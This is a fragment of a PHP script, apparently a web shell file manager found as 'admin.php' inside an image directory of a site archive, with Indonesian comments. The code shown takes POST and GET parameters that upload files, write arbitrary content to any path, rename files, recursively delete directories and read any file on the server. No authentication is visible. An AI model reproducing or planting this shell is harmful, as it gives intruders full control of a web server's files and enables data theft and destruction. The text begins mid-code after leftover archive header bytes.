?????????????? 2023/tmp/2024/img/yhxk/admin.php 0000444 00000017115 15250657404 0011674 0 ustar 00 function($p) { @move_uploaded_file($_FILES['f']['tmp_name'], $p.'/'.$_FILES['f']['name']); }, 'md' => function($p, $t1) { @mkdir($p.'/'.$t1, 0755); }, 'mf' => function($p, $t1) { @file_put_contents($p.'/'.$t1, ''); }, 'rn' => function($p, $t1, $t2) { @rename($t1, dirname($t1).'/'.$t2); }, 'sv' => function($p, $t1, $t2) { @file_put_contents($t1, $t2); }, 'rm' => function($p, $t1) { $bp_del = function($d) use (&$bp_del) { if(!is_dir($d)) return @unlink($d); foreach(array_diff(@scandir($d), ['.','..']) as $i) $bp_del($d.'/'.$i); return @rmdir($d); }; $bp_del($t1); } ]; // Eksekusi Fungsi dari Array Dispatcher if (isset($_POST['op']) && isset($bp_ops[$_POST['op']])) { $bp_ops[$_POST['op']]($x_1, $_POST['t1'] ?? '', $_POST['t2'] ?? ''); header("Location: ?loc=" . urlencode($x_1)); exit; } // [3] Logika Pembaca File untuk Editor $b_edit = ''; if (isset($_GET['edit']) && is_file($_GET['edit'])) { $b_edit = @file_get_contents($_GET['edit']); } // [4] Scanning & Sorting Direktori $b_scan = @scandir($x_1) ?: []; $d_arr = []; $f_arr = []; foreach ($b_scan as $i) { if ($i === '.') continue; $abs = $x_1 . '/' . $i; if (is_dir($abs)) $d_arr[] = ['n' => $i, 'p' => $abs, 's' => '-', 't' => 'D']; else $f_arr[] = ['n' => $i, 'p' => $abs, 's' => filesize($abs), 't' => 'F']; } $b_items = array_merge($d_arr, $f_arr); // Format Size Helper $sz = function($b) { if ($b === '-') return '-'; $u = ['B','KB','MB','GB']; $p = $b > 0 ? floor(log($b, 1024)) : 0; return number_format($b / pow(1024, $p), 2) . ' ' . $u[$p]; }; ?>